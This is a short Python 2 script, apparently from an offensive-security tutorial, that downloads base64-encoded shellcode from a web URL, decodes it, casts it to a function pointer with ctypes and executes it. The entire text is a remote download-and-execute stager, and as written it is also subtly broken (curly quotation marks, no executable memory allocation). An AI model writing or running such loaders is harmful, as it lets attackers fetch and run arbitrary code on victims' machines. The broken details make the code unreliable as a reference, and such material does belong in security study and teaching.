import urllib2
import ctypes
import base64
#retrieve the shellcode from our web server
url = “http://www.zhihu.com”
response = urllib2.urlopen(url)
#decode the shellcode from base64
shellcode_buffer = base64.b64decode(response.read())
#create a function pointer to out shellcode
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE
(ctypes.c_void_p))
#call our shellcode
shellcode_func()